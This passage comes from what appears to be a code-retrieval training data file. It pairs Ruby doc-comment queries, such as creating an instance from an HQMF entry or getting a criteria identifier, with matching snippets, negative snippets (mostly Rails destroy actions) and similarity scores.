|format|\n format.html { redirect_to operations_centers_url }\n format.json { head :no_content }\n end\n end", "def handle_destroy(event)\n @bus.request 'containers', 'destroyed', event: event.json, container: container_info(event.id)\n end", "def destroy\n @ipc_all_ac.destroy\n respond_to do |format|\n format.html { redirect_to ipc_all_acs_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @maintenance_request.destroy\n respond_to do |format|\n format.html { redirect_to maintenance_requests_url, notice: 'Maintenance request was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @storage_lun = StorageLun.find(params[:id])\n @storage_lun.destroy\n\n respond_to do |format|\n format.html { redirect_to storage_luns_url }\n format.json { head :no_content }\n end\n end", "def destroy\n animal = Animal.find(params[:id])\n animal.destroy\n head 204\n end", "def destroy\n @api_post.destroy\n\n head :no_content\n end", "def destroy\n @reference_database = ReferenceDatabase.find(params[:id])\n @reference_database.destroy\n\n respond_to do |format|\n format.html { redirect_to reference_databases_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @sequence_database = SequenceDatabase.find(params[:id])\n @sequence_database.destroy\n\n respond_to do |format|\n format.html { redirect_to sequence_databases_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @lab_detail.destroy\n respond_to do |format|\n format.html { redirect_to lab_details_url, notice: 'Lab detail was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @inventory_snapshot_content.destroy\n respond_to do |format|\n format.html { redirect_to inventory_snapshot_contents_url, notice: 'Inventory snapshot content was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @chronicle.destroy\n respond_to do |format|\n format.html { redirect_to chronicles_url }\n format.json { head :no_content }\n end\n end", "def delete\n client.delete(\"/#{id}\")\n end", "def destroy\n @idk_scaffold.destroy\n respond_to do |format|\n format.html { redirect_to idk_scaffolds_url, notice: 'Idk scaffold was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @maintenance_type.destroy\n respond_to do |format|\n format.html { redirect_to maintenance_types_url, notice: 'Maintenance type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @dis_packagetype.destroy\n respond_to do |format|\n format.html { redirect_to dis_packagetypes_url, notice: 'Dis packagetype was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @ac_maintenance.destroy\n respond_to do |format|\n format.html { redirect_to ac_maintenances_url, notice: 'Ac maintenance was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @collection.destroy\n\n render json: @collection, status: :ok#, location: @collection\n end", "def destroy\n @fabrica.destroy\n respond_to do |format|\n format.html { redirect_to fabricas_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @fascicle.destroy\n respond_to do |format|\n format.html { redirect_to fascicles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @pod_report.destroy\n respond_to do |format|\n format.html { redirect_to pod_reports_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @server1 = Server1.find(params[:id])\n @server1.destroy\n\n respond_to do |format|\n format.html { redirect_to server1s_url }\n format.json { head :no_content }\n end\n end", "def remove\n @container.stop\n @container.delete\n end", "def destroy\n @wrapper.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end" ]
[ "0.76918715", "0.7438931", "0.7337981", "0.7057264", "0.69436973", "0.6942435", "0.69313556", "0.6906878", "0.6859583", "0.684559", "0.68162847", "0.68000805", "0.6758714", "0.67520845", "0.6731611", "0.66865116", "0.66116", "0.65722394", "0.6566707", "0.65207314", "0.6433853", "0.6417108", "0.6410393", "0.640474", "0.63976294", "0.6369668", "0.62979543", "0.626086", "0.6257514", "0.62445676", "0.62431103", "0.6202699", "0.6185781", "0.617579", "0.61723316", "0.6169681", "0.6165916", "0.61618674", "0.615138", "0.61469835", "0.613756", "0.6136635", "0.61337745", "0.6122077", "0.61164933", "0.61131376", "0.6105775", "0.61032313", "0.6101898", "0.6099397", "0.60826224", "0.60825723", "0.60811895", "0.60803676", "0.607991", "0.607953", "0.6077609", "0.60750335", "0.60732186", "0.60699975", "0.60663056", "0.60663056", "0.60639465", "0.6063318", "0.6055959", "0.605438", "0.6054294", "0.6052917", "0.605223", "0.6049634", "0.60464525", "0.6043307", "0.6040367", "0.6039639", "0.6038183", "0.60365194", "0.60327834", "0.60266846", "0.6025023", "0.6022111", "0.60220915", "0.60151917", "0.601362", "0.6012768", "0.60107756", "0.6008891", "0.6007384", "0.60071397", "0.60050607", "0.6003963", "0.60006595", "0.6000356", "0.59995395", "0.59970087", "0.5995651", "0.5995079", "0.5992496", "0.5989092", "0.59868777", "0.59865606" ]
0.76548004
1
Create a new instance based on the supplied HQMF entry
def initialize(entry) @entry = entry @code_list_xpath = 'cda:act/cda:sourceOf//cda:code/@code' template_id = attr_val('cda:act/cda:templateId/@root') case template_id when '2.16.840.1.113883.3.560.1.2' @type = :diagnosis @code_list_xpath = 'cda:act/cda:sourceOf/cda:observation/cda:value/@code' @status_xpath = 'cda:act/cda:sourceOf/cda:observation/cda:sourceOf/cda:observation/cda:value/@displayName' when '2.16.840.1.113883.3.560.1.3' @type = :procedure @status_xpath = 'cda:act/cda:sourceOf/cda:observation/cda:statusCode/@code' when '2.16.840.1.113883.3.560.1.4' @type = :encounter when '2.16.840.1.113883.3.560.1.5' @type = :result @status_xpath = 'cda:act/cda:sourceOf/cda:observation/cda:statusCode/@code' when '2.16.840.1.113883.3.560.1.6' @type = :procedure when '2.16.840.1.113883.3.560.1.8' @type = :medication @code_list_xpath = 'cda:act/cda:sourceOf/cda:supply/cda:participant/cda:roleParticipant/cda:playingMaterial/cda:code/@code' when '2.16.840.1.113883.3.560.1.13' @type = :medication @code_list_xpath = 'cda:act/cda:sourceOf/cda:substanceAdministration/cda:participant/cda:roleParticipant/cda:playingMaterial/cda:code/@code' @status_xpath = 'cda:act/cda:sourceOf/cda:substanceAdministration/cda:sourceOf/cda:observation/cda:value/@displayName' when '2.16.840.1.113883.3.560.1.14' @type = :medication when '2.16.840.1.113883.3.560.1.17' @type = :medication @code_list_xpath = 'cda:act/cda:sourceOf/cda:substanceAdministration/cda:participant/cda:roleParticipant/cda:playingMaterial/cda:code/@code' when '2.16.840.1.113883.3.560.1.25' @type = :characteristic @property = :birthtime when '2.16.840.1.113883.3.560.1.1001' @type = :characteristic @code_list_xpath = 'cda:act/cda:sourceOf/cda:observation/cda:value/@code' @property = :gender else raise "Unknown data criteria template identifier [#{template_id}]" end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def new_record(src = :example)\n fields = src.is_a?(Hash) ? src : manifests(src.to_sym).fields.except(:id)\n Manifest.new(fields)\n end", "def as_hqmf_model\n @hqmf ||= HQMF::Document.from_json(self.hqmf_document)\n end", "def new(&block)\n assign_attributes if params[model_identifier]\n respond_with(entry, &block)\n end", "def from_h!(value)\n value = {} if value.nil?\n self.id = value['id']\n self.method__lsp = value['method']\n self\n end", "def new\n @entry = Entry.new\n end", "def new_entry(resource_type, name, data=nil)\n case resource_type\n when :machine\n MachineSpec.new(self, resource_type, name, data)\n when :machine_image\n MachineImageSpec.new(self, resource_type, name, data)\n when :load_balancer\n LoadBalancerSpec.new(self, resource_type, name, data)\n else\n ManagedEntry.new(self, resource_type, name, data)\n end\n end", "def from_h!(value)\n value = {} if value.nil?\n self.version = value['version'] # Unknown type\n self.uri = value['uri'] # Unknown type\n self\n end", "def as_hqmf_model\n json = {\n \"id\" => self.measure_id,\n \"title\" => self.title,\n \"description\" => self.description,\n \"population_criteria\" => self.population_criteria,\n \"data_criteria\" => self.data_criteria,\n \"source_data_criteria\" => self.source_data_criteria,\n \"measure_period\" => self.measure_period,\n \"attributes\" => self.measure_attributes,\n \"populations\" => self.populations,\n \"hqmf_id\" => self.hqmf_id,\n \"hqmf_set_id\" => self.hqmf_set_id,\n \"hqmf_version_number\" => self.hqmf_version_number,\n \"cms_id\" => self.cms_id\n }\n\n HQMF::Document.from_json(json)\n end", "def as_hqmf_model\n json = {\n \"id\" => self.measure_id,\n \"title\" => self.title,\n \"description\" => self.description,\n \"population_criteria\" => self.population_criteria,\n \"data_criteria\" => self.data_criteria,\n \"source_data_criteria\" => self.source_data_criteria,\n \"measure_period\" => self.measure_period,\n \"attributes\" => self.measure_attributes,\n \"populations\" => self.populations,\n \"hqmf_id\" => self.hqmf_id,\n \"hqmf_set_id\" => self.hqmf_set_id,\n \"hqmf_version_number\" => self.hqmf_version_number,\n \"cms_id\" => self.cms_id\n }\n\n HQMF::Document.from_json(json)\n end", "def new\n @phlog = Phlog.new(key: params[:key])\n end", "def new\n @phlog = Phlog.new(key: params[:key])\n end", "def create(hash={})\n model = self.new(hash)\n model.save\n model\n end", "def make_entry()\n\n seq_id = @filehandler.readline.chomp\n puts seq_id\n sequence = @filehandler.readline.chomp\n identifier = @filehandler.readline.chomp\n quality = @filehandler.readline.chomp\n\n Entry.new(seq_id, sequence, identifier, quality)\n end", "def initialize(hash, config)\n @descriptions = parse_description hash[:description]\n @record = hash\n @config = config\n return unless tec = config[:redmine_time_entry_class]\n @time_entry_class = Kernel.const_get tec\n end", "def instantiate hash, extra_attributes={}\n return hash unless hash.kind_of? Hash\n# init = hash.values_at(*@singulars).compact.first\n init = hash[@singular]\n inits = hash[@plural]\n if init\n new init.merge extra_attributes\n elsif inits\n inits.map {|each| new each.merge extra_attributes}\n else\n hash\n end\n end", "def new_from_hash_marketplace(h)\n self.url = h\n h=h.split('/')\n h=h[h.size-2]\n self.original_id = h\n return self\n end", "def from_h!(value)\n value = {} if value.nil?\n self.type = value['type'] # Unknown type\n self.message = value['message']\n self\n end", "def from_h!(value)\n value = {} if value.nil?\n self.type = value['type'] # Unknown type\n self.message = value['message']\n self\n end", "def initialize(id, hqmf_id, type, preconditions, title='', aggregator=nil, comments=nil)\n @id = id\n @hqmf_id = hqmf_id\n @preconditions = preconditions\n @type = type\n @title = title\n @aggregator = aggregator\n @comments = comments\n end", "def from_h!(value)\n value = {} if value.nil?\n self.uri = value['uri'] # Unknown type\n self.type = value['type'] # Unknown type\n self\n end", "def instantiate\n resource.new(data)\n end", "def resource_form_hash(hash)\n return unless hash['type']\n klass_name = hash['type']\n klass = resource_klass(klass_name)\n return unless klass\n klass.new(hash)\n end", "def import(input_hash)\n Validator.validate!(input_hash)\n self.new(input_hash)\n end", "def initialize(hash)\n @marc_type = hash[:marc_type]\n @display_statement = hash[:display_statement]\n @note = hash[:note]\n end", "def from_hash(data_hash)\n activity_kind = data_hash['kind'] || data_hash[:kind]\n raise \"No kind found in activity hash: #{data_hash.inspect}\" unless activity_kind\n\n klass = Activr.registry.class_for_activity(activity_kind)\n klass.new(data_hash)\n end", "def create(hsh_obj)\n unless hsh_obj.is_a?(Hash)\n raise ArgumentError, \"#{self.inspect}.create: Expected Hash got #{hsh_obj.class}\"\n end\n unless hsh_obj.has_key?(:class_name)\n pp hsh_obj\n raise ArgumentError, \"#{self.inspect}.create: hsh_obj missing key :type\"\n end\n unless CLASS_FOR_TYPE.has_key?(hsh_obj[:class_name])\n pp hsh_obj\n raise ArgumentError, %{#{self.inspect}.create: Dont have an hsh_object def for type \"#{hsh_obj[:class_name]}\"}\n end\n return CLASS_FOR_TYPE[hsh_obj[:class_name]].new(hsh_obj)\n end", "def initialize(hash)\n @short_code = hash[\"short_code\"]\n @name = hash[\"name\"]\n @id = hash[\"id\"]\n end", "def get_instance(payload)\n MediaInstance.new(@version, payload, sid: @solution[:sid])\n end", "def build_from_hash(hash)\n instance = self.new\n\n # Add the instance attributes dynamically from the hash. If the attribute\n # does not already exist, then don't re-add the attribute class and\n # variable, just set it with the value from the hash\n hash.keys.each do |key|\n class_eval { attr_accessor key } unless instance.methods.include?(key.to_sym)\n instance.instance_variable_set \"@#{key}\", hash[key]\n end\n\n instance\n end", "def new_from_hash(hash)\n if hash == nil\n self.class.new.assign(self)\n else\n hash_obj = hash\n if hash.instance_of?(Hash)\n hash_obj = self.class.new\n merge_hash_into_object(hash, hash_obj)\n end\n instance = self.class.new\n object_assign(instance, hash_obj)\n end\n end", "def initialize(hash, prefix)\n uri = URI.parse(\"memory:#{hash.object_id}\")\n super(uri, prefix)\n @hash = hash\n end", "def initialize(h)\n\t\tsuper()\n\t\t@h = h\n\t\treturn\n\tend", "def from(klass)\n new klass.name.to_s,\n nil,\n build_type(klass),\n klass.extras,\n build_initial_attributes(klass)\n end", "def create(hash)\n NotImplementedError\n end", "def create(record_hash = {})\n record = new(record_hash)\n record.save\n end", "def from_h(hash, converter = nil)\n instance = new\n\n hash.each do |k, v|\n v = instance.convert(v, k, converter) if converter\n instance.send(:\"#{k}=\", v)\n end\n\n instance\n end", "def initialize(hash={})\n @name = validate_name(hash[:name])\n @description = hash[:description]\n @snmp_opts = hash[:snmp_opts]\n\n save # Save a copy of self to Redis on creation\n end", "def build(hash, track_changes = true)\n resource = fields.each_with_object(new) do |field, r|\n value = hash.fetch(field.to_s, hash[field.to_sym])\n r.send(\"#{field}=\", value)\n end\n resource.clear_changes! unless track_changes\n resource\n end", "def from_hash(hash)\n instance = allocate\n instance.instance_variable_set :@attributes, hash.freeze\n instance\n end", "def construct(loader: nil)\n loader ||= MeasureDefinitionLoader.new(data_path: self.class.data_path)\n @loader = loader\n @measure_definitions_lookup = HashWithIndifferentAccess.new\n end", "def carton_new(entry)\n #log_msg\"in new\"\n record_map = eval entry.record\n create_carton_util(record_map)\n\n end", "def new_fei (h)\n\n h[:engine_id] = OpenWFE::stu(get_engine.engine_name)\n\n %w{ url name revision }.each { |k| stu(h, k) }\n\n FlowExpressionId.new_fei(h)\n end", "def initialize(id, hqmf_id, hqmf_set_id, hqmf_version_number, cms_id, title, description, population_criteria, data_criteria, source_data_criteria, attributes, measure_period, populations=nil, populations_cql_map=nil, cql_measure_library=nil, observations=nil)\n @id = id\n @hqmf_id = hqmf_id\n @hqmf_set_id = hqmf_set_id\n @hqmf_version_number = hqmf_version_number\n @cms_id = cms_id\n @title = title\n @description = description\n @population_criteria = population_criteria\n @data_criteria = data_criteria\n @source_data_criteria = source_data_criteria\n @attributes = attributes\n @populations = populations || [\n {\n HQMF::PopulationCriteria::IPP => HQMF::PopulationCriteria::IPP,\n HQMF::PopulationCriteria::DENOM => HQMF::PopulationCriteria::DENOM,\n HQMF::PopulationCriteria::NUMER => HQMF::PopulationCriteria::NUMER,\n HQMF::PopulationCriteria::DENEXCEP => HQMF::PopulationCriteria::DENEXCEP,\n HQMF::PopulationCriteria::DENEX => HQMF::PopulationCriteria::DENEX\n }\n ]\n @measure_period = measure_period\n @populations_cql_map = populations_cql_map\n @cql_measure_library = cql_measure_library\n @observations = observations\n end", "def from_hcard()\n end", "def create_from_hash(hash, opts={})\n create_opts = update_or_create_options(hash, opts)\n create { |instance| instance.set(create_opts) }\n end", "def make_emma_record(data, **)\n Search::Record::MetadataRecord.new(data)\n end", "def from_h(hash, converter = nil)\n instance = new\n\n hash.each do |k, v|\n v = convert(v, k, converter) if converter\n instance.instance_variable_set(:\"@#{k}\", v)\n end\n\n instance\n end", "def from_h!(value)\n value = {} if value.nil?\n self.signatures = to_typed_aray(value['signatures'], SignatureInformation)\n self.activeSignature = value['activeSignature'] # Unknown type\n self.activeParameter = value['activeParameter'] # Unknown type\n self\n end", "def makeEntry(hash, e)\n hash[e.id] = {\n name: e.public_name,\n createTimestamp: e.createTimestamp,\n }\n if e.banned?\n hash[e.id][:noLogin] = true\n else\n # Don't publish urls for banned logins\n unless e.urls.empty?\n # need to sort to avoid random changes which seem to occur for urls\n hash[e.id][:urls] = e.urls.sort\n end\n # only add entry if there is a fingerprint\n unless e.pgp_key_fingerprints.empty?\n # need to sort to avoid random changes which seem to occur for fingerprints\n hash[e.id][:key_fingerprints] = e.pgp_key_fingerprints.sort\n end\n end\nend", "def initialize(entry, doc, id_generator)\n @id_generator = id_generator\n @doc = doc\n @entry = entry\n setup_derived_entry_elements(id_generator)\n # modify type to meet current expected population names\n @type = 'IPP' if @type == 'IPOP' || @type == 'IPPOP'\n @comments = nil if comments.empty?\n # MEAN is handled in current code. Changed since it should have the same effect\n @aggregator = 'MEAN' if @aggregator == 'AVERAGE'\n @hqmf_id = @type unless @hqmf_id # The id extension is not required, if it's not provided use the code\n handle_type(id_generator)\n end", "def initialize(params)\n @instance = params.fetch(:instance)\n end", "def new\n @title = 'New Health Record'\n @record = HealthRecord.new\n end", "def from_h!(value)\n value = {} if value.nil?\n self.uri = value['uri'] # Unknown type\n self.languageId = value['languageId']\n self.version = value['version']\n self.text = value['text']\n self\n end", "def new\r\n @phr = Phr.find(params[:phr_id])\r\n @immunization = @phr.immunizations.build\r\n end", "def new\n @object = @hq_proc = HqProc.new\n respond_to do |format|\n format.html { render :template => 'reflected/new' }\n format.xml { render :xml => @hq_proc }\n end\n end", "def initialize(a_hash)\n from_h(a_hash)\n end", "def newInstance( params={} )\n model.new( params ).extend( InstanceMethods )\n end", "def initialize()\n @metadata = Hash.new()\n return self\n end", "def carton_new(entry)\n log_msg \"in new\"\n record_map = eval entry.record\n create_carton_util(record_map)\n \n end", "def from_hash( h)\n\t\th.each { |name,attributes|\n\t\t\tklass = Klass.new\n\t\t\tklass.from_hash( { name => attributes } )\n\t\t\tself.add_class( klass)\n\t\t}\n\n\t\t# this is an experiment in handling \"through\" attributes\n\t\t# i.e. enriching the model with the join classes\n\tend", "def parse_submission(hash)\n return Submission.new(hash)\n end", "def new\n @log_entry = LogEntry.new\n end", "def from_hash(data)\n @group = data[\"group\"]\n @file = data[\"source\"]\n\n self\n end", "def initialize(hash)\n # initialize class variable @@extension only once\n @@extension ||= Extension.new\n @@schema ||= @@extension.schema\n\n @hash = hash\n @type = @hash[:type]\n raise 'Unknown model type' if @type.nil?\n raise \"Incorrect model type '#{@type}'\" unless @type == 'Model'\n\n end", "def create_family(f)\n @ks[:family][f] = KeyFamily.new(f)\n end", "def initialize(*new_item)\n if new_item.length == 1 && new_item[0].is_a?(WIN32OLE)\n @wmi_object = new_item[0]\n else\n @wmi_object = connection.get(self.class.element_name).spawnInstance_()\n unless new_item.length == 0\n if new_item[0].is_a?(Hash)\n new_item[0].each do |attribute, value|\n self.send(attribute.to_s + \"=\", value)\n end\n else\n raise(ArgumentError)\n end\n end\n end\n self.attributes\n self\n end", "def from_hash(data)\n @query = data[\"query\"]\n\n self\n end", "def initialize(hash)\n\t\t@id = hash['id']\n\t\t@first_name = hash['first_name']\n\t\t@last_name = hash['last_name']\n\t\t@mentor = hash['mentor']\n\tend", "def from_h!(value)\n value = {} if value.nil?\n self.kind = value['kind'] # Unknown type\n self.value = value['value']\n self\n end", "def from_h!(value)\n value = {} if value.nil?\n self.uri = value['uri'] # Unknown type\n self.languageId = value['languageId']\n self.version = value['version']\n self.lineCount = value['lineCount']\n self\n end", "def from_h!(value)\n value = {} if value.nil?\n self.syncKind = value['syncKind'] # Unknown type\n self.documentSelector = value['documentSelector'] # Unknown type\n self\n end", "def create_from_hash hash\n values = values_from_hash hash\n unless obj = find(:first, :conditions => values)\n return nil if values[:id]\n obj = create!(values)\n raise ArgumentError, \"#{obj.errors.to_s}\" unless obj.errors.empty?\n end\n obj\n end", "def build(element, essence_hash)\n definition = content_definition(element, essence_hash)\n if definition.blank?\n raise ContentDefinitionError, \"No definition found in elements.yml for #{essence_hash.inspect} and #{element.inspect}\"\n else\n new(name: definition['name'], element_id: element.id)\n end\n end", "def entry\n Entry.new\n end", "def get_instance(payload)\n RecordingInstance.new(@version, payload, trunk_sid: @solution[:trunk_sid])\n end", "def new\n @fish.Fish.new\n end", "def from_record(record)\n end", "def assign_existing_instance\n # extract scale_key from params, if valid; default otherwise\n if params[:scale_key] && @@allowed_factors.include?(params[:scale_key].to_i)\n scale = params[:scale_key].to_i\n else\n scale = 1000\n end\n \n # extract cell_key from params, if valid; return empty set otherwise\n if params[:cell_key] && params[:cell_key].length == @@allowed_key_size\n cell = params[:cell_key]\n else\n cell = \"0000000000\"\n end\n\n @instance = Sector.find_or_create_by(scale_key: scale, cell_key: cell)\n @instance.validate_state\n end", "def initialize\n @h = new_hash\n end", "def as(klass)\n klass.new **to_h\n end", "def initialize(handle, record_type)\n\t\t\t@prefix = read_string(handle)\n\t\t\t@name = read_dictstring(handle)\n\t\t\t@value = Record.MakeRecord(handle)\n\t\tend", "def new\n @record = Record.new()\n end", "def initialize(items = {})\n # Get accessors out of hash\n @instance_klass = items[:klass]\n @instance_id = items[:id]\n @attacment_name = items[:name]\n end", "def from_hash(hash)\n hash = DEFAULTS.merge(hash)\n hash['spdx_id'] = hash.delete('spdx-id')\n ordered_array = hash.values_at(*members.map(&:to_s))\n new(*ordered_array)\n end", "def from_h!(value)\n value = {} if value.nil?\n self.location = Location.new(value['location']) unless value['location'].nil?\n self.message = value['message']\n self\n end", "def initialize( hpk, options = {})\n fail HPKError.new self, msg: 'Mailbox: wrong hpk format' unless hpk and hpk.length==HPK_LEN\n\n @tmout_mbx = options[:mbx_expire] || Rails.configuration.x.relay.mailbox_timeout\n @tmout_msg = options[:msg_expire] || Rails.configuration.x.relay.message_timeout\n fail ReportError.new self, msg: 'Mailbox expire must be greater than or equal to Message expire' if @tmout_msg > @tmout_mbx\n\n @hpk = b64enc hpk\n @lastCount = nil\n end", "def new\n @herbarium = Herbarium.new\n end", "def initialize(chunk,key,record,journal_info)\n @chunk = chunk\n @chunk_memory_revision = chunk.memory_revision\n @key = key\n stringify_values(record) if record.kind_of? Hash\n self.journal=journal_info[:journal]\n self.disk_offset=journal_info[:offset]\n self.disk_length=journal_info[:length]\n self.accounting_size=case record\n when Record then record.accounting_size\n when Hash then calculate_accounting_size(record)\n else raise \"invalid record class #{record.class}\"\n end\n end", "def get_instance(payload)\n NewFactorInstance.new(\n @version,\n payload,\n service_sid: @solution[:service_sid],\n identity: @solution[:identity],\n )\n end", "def initialize(entry, tagsize)\n @tagsize = tagsize\n @orig = entry2hash(entry.strip)\t# Hash of the original entry\n @data = {}\t\t\t\t# Hash of the parsed entry\n end", "def initialize(input_record, extract_marc_memoizer:)\n super\n __setobj__(self.input_record)\n @extract_marcs = extract_marc_memoizer\n end", "def initialize(entry, tagsize)\n @tagsize = tagsize\n @orig = entry2hash(entry.strip)\t# Hash of the original entry\n @data = {}\t\t\t# Hash of the parsed entry\n end", "def initialize(name, to_h = nil, from_hash = nil)\n @name = name.to_sym\n @to_h = to_h\n @from_hash = from_hash\n end", "def _klass_new(*args, &block)\n inst = super()\n inst._set_self(_self)\n inst._struct_class = _struct_class\n if args.first.is_a?(::Hash)\n inst._load(args.first)\n end\n if block\n inst.build!(&block)\n end\n inst\n end", "def get_instance(payload)\n MediaProcessorInstance.new(@version, payload)\n end", "def initialize(input_hash)\n @region = input_hash[:region]\n @price = input_hash[:price]\n @flavor = input_hash[:flavor]\n end", "def new_definition(sax, author_id)\n Definition.new.tap do |definition|\n definition.author_id = author_id\n definition.text = sax.text\n definition.source = sax.source\n definition.uri = sax.uri\n end\nend", "def initialize_copy(entry)\n @archive = entry.archive\n @entry = ::Archive::Entry.new(entry.ffi_ptr, clone: true)\n end", "def create(_instance)\n raise Errors::Backend::NotImplementedError, 'Requested functionality is not implemented'\n end", "def get_instance(payload)\n return RecordInstance.new(\n @version,\n payload,\n account_sid: @solution['account_sid'],\n )\n end", "def build_new_record\n @record = record_class.new\n end" ]
[ "0.5707038", "0.5690233", "0.55953306", "0.55622053", "0.54981196", "0.5450447", "0.54236335", "0.5423372", "0.5423372", "0.5411338", "0.5411338", "0.5406396", "0.53943086", "0.5326762", "0.53220886", "0.53091043", "0.53055227", "0.53055227", "0.52905136", "0.5282919", "0.5274831", "0.5269062", "0.5263254", "0.52628505", "0.5227793", "0.52274054", "0.52191824", "0.520624", "0.5204282", "0.5194372", "0.51860404", "0.5184748", "0.5175876", "0.5165676", "0.516553", "0.51592785", "0.51557565", "0.5136822", "0.51339453", "0.51319706", "0.5124764", "0.5123873", "0.5121049", "0.5120631", "0.51203686", "0.51168096", "0.5114559", "0.51119816", "0.51034045", "0.5093578", "0.5088455", "0.50859934", "0.5075528", "0.5062417", "0.50580543", "0.50476384", "0.50453943", "0.504288", "0.50422615", "0.5031797", "0.5029396", "0.50197375", "0.5009306", "0.49925002", "0.49910676", "0.49903816", "0.4990175", "0.49888694", "0.49885854", "0.4986438", "0.4980902", "0.49763215", "0.49671197", "0.4966815", "0.49653086", "0.49576247", "0.49506783", "0.49475074", "0.49408463", "0.49385807", "0.4938425", "0.49361977", "0.49317682", "0.49287778", "0.49267218", "0.49198952", "0.4918621", "0.49158448", "0.49121127", "0.4903289", "0.49008846", "0.48960868", "0.4890421", "0.4889483", "0.48867974", "0.4878973", "0.487353", "0.4868551", "0.4859049", "0.4857017", "0.48550144" ]
0.0
-1
Get the identifier of the criteria, used elsewhere within the document for referencing
def id attr_val('cda:act/cda:id/@root') end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def occurrence_id \n # An identifier for the Occurrence (as opposed to a particular digital record of the occurrence).\n # In the absence of a persistent global unique identifier, construct one from a combination of identifiers in the record that will most closely make the occurrenceID globally unique.\n # For a specimen in the absence of a bona fide global unique identifier, for example, use the form: \"urn:catalog:[institutionCode]:[collectionCode]:[catalogNumber].\n # Examples: \"urn:lsid:nhm.ku.edu:Herps:32\", \"urn:catalog:FMNH:Mammal:145732\" \n\n #if v = @obj.identifiers.that_are_global.andand.first\n # v.cached_display_name\n #else\n \"urn:catalog:#{institution_code}:#{collection_code}:#{catalog_number}\"\n #end\n end", "def __get_id_from_document(document)\n document[IDS.find { |id| document[id] }]\n end", "def get_id()\n return @doc_name\n end", "def it_doc_id\n type_name + ' ' + self.id.to_s\n end", "def doc_id\n Indexer.index.search(Ferret::Search::TermQuery.new(:probably_unique_id,probably_unique_id)).hits.first.doc\n end", "def identifier\n identifiers = geo_concern.identifier\n if identifiers.nil? || identifiers.empty?\n geo_concern.id\n elsif identifiers.is_a?(String)\n identifiers\n else\n identifiers.first\n end\n end", "def identifier\n best_identifier\n end", "def column_id; @doc['column_name']; end", "def selector\n @selector ||= climb({ \"_id\" => _root.id }) do |document, value|\n value[\"#{document.path}._id\"] = document.id; value\n end\n end", "def document_id\n id\n end", "def identifier\n @identifier ||= \"#{ATTRIBUTE_PREFIX}.#{Model::to_id @schema_ref}.#{Model::to_id @reference}\"\n end", "def document_id\n doc_id = pk\n doc_id = doc_id.join('_') if doc_id.is_a? Array\n doc_id\n end", "def findingAid\n solr_doc[\"desc_metadata__findingAid_ssm\"]\n end", "def id_criteria(params)\n criteria.id(strings_to_object_ids(params))\n params.is_a?(Array) ? criteria.entries : one\n end", "def identifier; end", "def identifier; end", "def getDocumentId() \n @obj.getDocumentId() \n end", "def identifier\n id_value || super\n end", "def alias_id(d)\n alias_ids.select{|e_id| e_id.entity.company_id == d}.first\n end", "def identifier\n @identifiers[0]\n end", "def entity_id\n entities.select{|e| e.name == name}.first.id\n end", "def _id; @doc['_id']; end", "def _id; @doc['_id']; end", "def name_as_search_key\n QueryField.mapping(@name)\n end", "def idref\n \"c#{rank}\"\n end", "def solr_unique_doc_query\n \"maxwell_document_id:#{solr_document_id}\"\n end", "def identifier\n @identifier ||= \"#{self.type_prefix}.#{Model::to_id @schema.title}.#{Model::to_id name}\"\n end", "def entityID\n end", "def entityID\n end", "def solr_id\n \"#{self.class.name}:#{record_id(self)}\"\n end", "def query_id; seq1.entry_id; end", "def element_id what\n \"#{object_type}_#{what}\"\n end", "def record_key_for_dom_id(record); end", "def index_id\n doc_hash.fetch('id')\n end", "def identifier_string\n name\n end", "def identify\n document.id = compose.join(\" \").identify if document.primary_key\n document.id = generate_id if document.id.blank?\n document.id\n end", "def id\n @document.fetch('id')\n end", "def record_id\n doc['record_id']\n end", "def id_finder\n @id_finder ||= extract_id ? :all_of : :where\n end", "def solr_document_id\n \"#{self.class.class_name.underscore.downcase}-#{self.id}\"\n end", "def query_id; mrna.entry_id; end", "def id\n solr_document.fetch('id').sub(/^id-/, '')\n end", "def context_id\n params[\"#{ params[:constraint][:context_type].singularize }_id\"]\n end", "def identifier\n id || name || default_identifier\n end", "def get_document_id()\n return @doc_name #Remember, name = id in xmldb API\n end", "def document_selector\n attributes.fetch(:documentSelector)\n end", "def document_selector\n attributes.fetch(:documentSelector)\n end", "def id\n self.doc_id\n end", "def record_identifier(record)\n record.id\n end", "def representative_id\n solr_document.representative_id\n end", "def object_id() end", "def identifier\n num\n end", "def company_id\n self.dig_for_string(\"agentSummary\", \"office\", \"companyId\")\n end", "def identifier\n self.class.identifier_for(send(self.class.identifying_attribute))\n end", "def ident_key\n :ident\n end", "def query_id; @hit.mrna.entry_id; end", "def to_identifier\n \"#{self.document_template.identifier}::#{self.identifier}\"\n end", "def getIdDoc(value)\n doc_array = @docs.find_one({:docname => value}).to_a\n return doc_array[@ID_INDEX][@ID_VALUE]\n end", "def identifier\n @record.uri.to_s\n end", "def lookup\n InternalId.find_by(**scope, usage: usage_value)\n end", "def identificacion_company\n \"#{type_identification}-#{rif}\"\n end", "def target_id\n location_id ||\n name_id ||\n observation_id ||\n project_id ||\n species_list_id ||\n glossary_term_id ||\n article_id\n end", "def extract_id\n selector[:_id]\n end", "def identifier\n @info.identifier\n end", "def identifier\n @info.identifier\n end", "def identify doc = @doc\n doc.elements.first.name.to_sym\n end", "def stored_collection_id\n is_member_of = object_relations.uri_predicate(:is_member_of)\n has_description = object_relations.uri_predicate(:has_description)\n collection_id ||\n ead_id ||\n object_relations.relationships[is_member_of].first.try{|m| m.gsub(\"info:fedora/\", \"\")} ||\n object_relations.relationships[has_description].first.try{|m| m.gsub(\"info:fedora/\", \"\")}\n end", "def build_where rule_selectors: []\n return [] if rule_selectors.size == 1\n\n 